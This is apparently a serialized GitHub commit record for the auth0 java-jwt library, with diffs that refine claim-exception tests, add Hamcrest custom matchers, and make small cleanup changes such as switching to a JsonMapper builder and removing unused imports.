@@ -351,8 +397,10 @@ public void shouldThrowWhenExpectedArrayClaimIsMissing() {
 
     @Test
     public void shouldThrowWhenExpectedClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("missing", "text")
@@ -362,8 +410,11 @@ public void shouldThrowWhenExpectedClaimIsMissing() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -373,8 +424,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -384,8 +438,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -395,8 +452,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -407,8 +467,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", new Date())
@@ -418,8 +481,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValue() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "check")
@@ -670,6 +736,7 @@ public void shouldValidateExpiresAtIfPresent() {
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
+        exception.expect(hasTokenExpiredOn(Instant.ofEpochSecond(1477592L)));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -702,8 +769,10 @@ public void shouldValidateNotBeforeWithLeeway() {
 
     @Test
     public void shouldThrowOnInvalidNotBeforeIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.NOT_BEFORE));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -733,8 +802,13 @@ public void shouldThrowOnNegativeNotBeforeLeeway() {
     }
 
     // Issued At with future date
-    @Test(expected = InvalidClaimException.class)
+    @Test
     public void shouldThrowOnFutureIssuedAt() {
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
+
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
@@ -755,8 +829,10 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -811,8 +887,11 @@ public void shouldValidateJWTId() {
 
     @Test
     public void shouldThrowOnInvalidJWTId() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
+        exception.expect(hasClaimName("jti"));
+        exception.expect(hasClaimValue("jwt_id_123", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("invalid")
@@ -884,8 +963,9 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(MissingClaimException.class);
         exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
 
         String jwt = JWTCreator.init()
                 .withClaim("custom", "")
@@ -1040,8 +1120,10 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
     @Test
     public void shouldThrowWhenPredicateReturnsFalse() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("claimValue", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "claimValue")
@@ -1080,8 +1162,10 @@ public void shouldSuccessfullyVerifyClaimWithNull() {
 
     @Test
     public void shouldThrowWhenNullClaimHasValue() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("value", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")
@@ -1095,8 +1179,9 @@ public void shouldThrowWhenNullClaimHasValue() {
 
     @Test
     public void shouldThrowWhenNullClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'anotherClaimName' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'anotherClaimName' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("anotherClaimName"));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")u}(jԑ  (acff9b0f7c0372b61dbf8496533c9eab0416b603j:  <lib/src/test/java/com/auth0/jwt/matchers/CustomMatchers.javaj<  addedj4  Krj5  K j>  Krj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  X  @@ -0,0 +1,114 @@
+package com.auth0.jwt.matchers;
+
+import com.auth0.jwt.exceptions.IncorrectClaimException;
+import com.auth0.jwt.exceptions.MissingClaimException;
+import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.interfaces.Claim;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
+import java.time.Instant;
+import java.util.Arrays;
+
+public class CustomMatchers {
+    public static Matcher<MissingClaimException> hasMissingClaimName(final String claimName) {
+        return new TypeSafeMatcher<MissingClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("MissingClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(MissingClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static Matcher<TokenExpiredException> hasTokenExpiredOn(final Instant instant) {
+        return new TypeSafeMatcher<TokenExpiredException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("TokenExpiredException with expired time as: "+instant.getEpochSecond());
+            }
+
+            @Override
+            protected boolean matchesSafely(TokenExpiredException item) {
+                return item.getExpiredOn().equals(instant);
+            }
+        };
+    }
+
+    public static Matcher<IncorrectClaimException> hasClaimName(final String claimName) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValue(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimInstant(final Instant value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValueArray(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return Arrays.equals((Object[]) item.getClaimValue().as(clazz), (Object[])value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasNullClaim() {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim as null");
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                boolean a = item.getClaimValue().isNull();
+                String b = item.getClaimValue().toString();
+                return item.getClaimValue().isNull();
+            }
+        };
+    }
+}ueu(6e80ea1e5a8624f34f133c3be71078ee9ab83906}(sha(6e80ea1e5a8624f34f133c3be71078ee9ab83906node_idEC_kwDOAQtL0doAKDZlODBlYTFlNWE4NjI0ZjM0ZjEzM2MzYmU3MTA3OGVlOWFiODM5MDYcommit}(author}(nameCodeDeademailadmin@codedead.comdate2023-01-26T21:44:56Zu	committer}(j  GitHubj  noreply@github.comj  2023-01-26T21:44:56ZumessageX  Feature/cleanup (#642)

* GIT compliance

* Simpler HashMap declaration

* Replaced usage of deprecated JsonMapper methods, removed unneeded null check

* Removed unused import

* Removed unused imports

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>tree}(j  (c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2url^https://api.github.com/repos/auth0/java-jwt/git/trees/c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/6e80ea1e5a8624f34f133c3be71078ee9ab83906
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj0vRYCRBK7hj4Ov3rIwAAfysIAI6wmc0CJzM20ycu3OtnTakK
LEEaCl9E2YcATlIKgI/UqTveEQUO8DdvUCyG2BRvRrQ4t3RxoJ0eIt7ledi5YiWt
u1xlfs0UnSeBZVSIZYm6yfzhv70+51HEDA5NrMUYRUkJPVE91KU5OuBYJrsBMacn
Xy+ESxlR7scV3CXlYya1HRPsx81tlNQQJSE3eEUgfBiyCfWtmv9fKc6JZuyBzsjq
SSj7PKinglyCJ3VdXDcOfm/eWtww89tlJOE1E7RynBtQT3RYSvCJpdMapW4FjeN6
Gx4YXGHLyZhSY76LHvl2RSR7mhI8B4ACnnkGIUDyqEUkliT12s7THNxlD46/hV0=
=HXh9
-----END PGP SIGNATURE-----
payloadX  tree c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2
parent b4fae643ad27ed5efb28a12da7ac7d52f9917706
author CodeDead <admin@codedead.com> 1674769496 +0100
committer GitHub <noreply@github.com> 1674769496 -0600

Feature/cleanup (#642)

* GIT compliance

* Simpler HashMap declaration

* Replaced usage of deprecated JsonMapper methods, removed unneeded null check

* Removed unused import

* Removed unused imports

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>uuj  \https://api.github.com/repos/auth0/java-jwt/commits/6e80ea1e5a8624f34f133c3be71078ee9ab83906html_urlQhttps://github.com/auth0/java-jwt/commit/6e80ea1e5a8624f34f133c3be71078ee9ab83906comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6e80ea1e5a8624f34f133c3be71078ee9ab83906/commentsj  }(loginCodeDeadidJҝ j  MDQ6VXNlcjE2MjkzMzMw
avatar_url4https://avatars.githubusercontent.com/u/16293330?v=4gravatar_idh3j  %https://api.github.com/users/CodeDeadj  https://github.com/CodeDead
followers_url/https://api.github.com/users/CodeDead/followers
following_url<https://api.github.com/users/CodeDead/following{/other_user}	gists_url5https://api.github.com/users/CodeDead/gists{/gist_id}starred_url<https://api.github.com/users/CodeDead/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/CodeDead/subscriptionsorganizations_url*https://api.github.com/users/CodeDead/orgs	repos_url+https://api.github.com/users/CodeDead/repos
events_url6https://api.github.com/users/CodeDead/events{/privacy}received_events_url5https://api.github.com/users/CodeDead/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposjÒ  6https://api.github.com/users/web-flow/events{/privacy}jŒ  5https://api.github.com/users/web-flow/received_eventsjǒ  Userjɒ  uparents]}(j  (b4fae643ad27ed5efb28a12da7ac7d52f9917706j  \https://api.github.com/repos/auth0/java-jwt/commits/b4fae643ad27ed5efb28a12da7ac7d52f9917706j  Qhttps://github.com/auth0/java-jwt/commit/b4fae643ad27ed5efb28a12da7ac7d52f9917706uastats}(totalK	additionsK	deletionsKufiles](}(j  (995e4c1d21b8ddc174ff58ed8c45183f062e9d75filenameEXAMPLES.mdstatusmodifiedj  Kj  KchangesKblob_url[https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/EXAMPLES.mdraw_urlZhttps://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/EXAMPLES.mdcontents_urlmhttps://api.github.com/repos/auth0/java-jwt/contents/EXAMPLES.md?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906patch@@ -127,4 +127,4 @@ RSAKeyProvider keyProvider = new RSAKeyProvider() {
 
 Algorithm algorithm = Algorithm.RSA256(keyProvider);
 //Use the Algorithm to create and verify JWTs.
-```
\ No newline at end of file
+```u}(j  (bcd1854c4841162bbfc81048e40697bcb81eb5c1j  LICENSEj  modifiedj  Kj  Kj  Kj  Whttps://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/LICENSEj  Vhttps://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/LICENSEj  ihttps://api.github.com/repos/auth0/java-jwt/contents/LICENSE?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  Xu  @@ -18,4 +18,4 @@ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
+SOFTWARE.u}(j  (7ed83940224177f029a197072ad1b12bea76fc4cj  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  X  @@ -7,6 +7,7 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.json.JsonMapper;
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
@@ -31,12 +32,14 @@ public final class JWTCreator {
     private static final SimpleModule module;
 
     static {
-        mapper = new ObjectMapper();
         module = new SimpleModule();
         module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
         module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
-        mapper.registerModule(module);
-        mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
+
+        mapper = JsonMapper.builder()
+                .configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true)
+                .build()
+                .registerModule(module);
     }
 
     private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
@@ -489,7 +492,7 @@ private static boolean validateClaim(Map<?, ?> map) {
                     return false;
                 }
 
-                if (entry.getKey() == null || !(entry.getKey() instanceof String)) {
+                if (!(entry.getKey() instanceof String)) {
                     return false;
                 }
             }u}(j  (ca892e60ad4d2f6f7fd07621191f3460a5af2f98j  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  X  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
-import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;u}(j  (8031d8c0a7bdca5f024f92f2c8d0dfb4f50ced42j  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  X  @@ -37,7 +37,7 @@ class BasicHeader implements Header, Serializable {
         this.type = type;
         this.contentType = contentType;
         this.keyId = keyId;
-        this.tree = Collections.unmodifiableMap(tree == null ? new HashMap<String, JsonNode>() : tree);
+        this.tree = Collections.unmodifiableMap(tree == null ? new HashMap<>() : tree);
         this.objectReader = objectReader;
     }
 u}(j  (32ede1de99417dd4fb2139cafdd833913d361c56j  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  X  @@ -10,14 +10,11 @@
 import org.junit.rules.ExpectedException;
 
 import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
 import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.*;
 
-import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 
 //@Ignore("Skipping concurrency tests")u}(j  (8fc83b44da878b33d6d303efeaa9492b4387a2eaj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  XM  @@ -16,9 +16,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(j  (9b6ac0c06f21d8ca1b4ad11b07096d0c414747faj  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  XD  @@ -13,7 +13,6 @@
 import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
-import java.util.Arrays;
 
 import static com.auth0.jwt.algorithms.CryptoTestHelper.asJWT;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;u}(j  (8d5f112ca0a3f1fd045fb640722a24a9d65adfb3j  settings.gradlej  modifiedj  Kj  Kj  Kj  _https://github.com/auth0/java-jwt/blob/6e80ea1e5a8624f34f133c3be71078ee9ab83906/settings.gradlej  ^https://github.com/auth0/java-jwt/raw/6e80ea1e5a8624f34f133c3be71078ee9ab83906/settings.gradlej  qhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=6e80ea1e5a8624f34f133c3be71078ee9ab83906j  @@ -8,4 +8,4 @@ pluginManagement {
 }
 
 include ':java-jwt'
-project(':java-jwt').projectDir = new File(rootProject.projectDir, '/lib')
\ No newline at end of file
